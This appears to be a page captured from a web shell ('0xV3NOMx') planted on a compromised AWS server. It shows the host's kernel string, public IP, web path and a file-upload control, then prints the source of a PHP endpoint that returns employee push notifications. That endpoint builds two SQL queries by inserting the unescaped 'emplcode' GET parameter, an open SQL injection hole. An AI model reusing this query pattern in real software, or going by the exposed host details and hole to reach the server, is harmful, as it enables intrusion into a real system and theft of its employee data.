0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.59.67.189


Current Path : /var/www/html/oums/api/
Upload File :
Current File : /var/www/html/oums/api/notification_disp.php

<?php

include("sys_connect.php");

if(!isset($_GET["emplcode"])){
    echo json_encode(array("msg" => "Invalid Params", "error_code" => -1));
    die();    
}
$emplcode = $_GET["emplcode"];
$query = "select ftitle, fbody, fenttype ,ifnull(fcolor,'green') as fcolor,ifnull(ficon,'') as ficon, fpushdate
from pushnotif where fempcode = '{$emplcode}' 
and left(date_format(fpushdate,'%Y-%m-%d'),10) = left(date_format(now(),'%Y-%m-%d'),10)";
$myres = mysqli_query($mycon, $query);
$mycnt1 = mysqli_num_rows($myres);
$i = 0;
$res = [];
while($row = mysqli_fetch_assoc($myres)){
    $res[$i] = $row;
    $i++;
}

$query = "select ftitle, fbody, fenttype ,ifnull(fcolor,'green') as fcolor,ifnull(ficon,'') as ficon, fpushdate
from pushnotif where fempcode = '{$emplcode}' 
and left(date_format(fpushdate,'%Y-%m-%d'),10) <> left(date_format(now(),'%Y-%m-%d'),10)";
$myres = mysqli_query($mycon, $query);
$mycnt2 = mysqli_num_rows($myres);
$i = 0;
$res1 = [];
while($row1 = mysqli_fetch_assoc($myres)){
    $res1[$i] = $row1;
    $i++;
}
$arry[0]['today'] = $res;
$arry[1]['his'] = $res1;
if($mycnt1 ==0 && $mycnt2 ==0)
{
    $arry = "No Notification";
    echo json_encode(array("error_code" => -1, 'msg'=> $arry ));
}else
{
    echo json_encode(array("error_code" => 0, 'data'=> $arry ));
}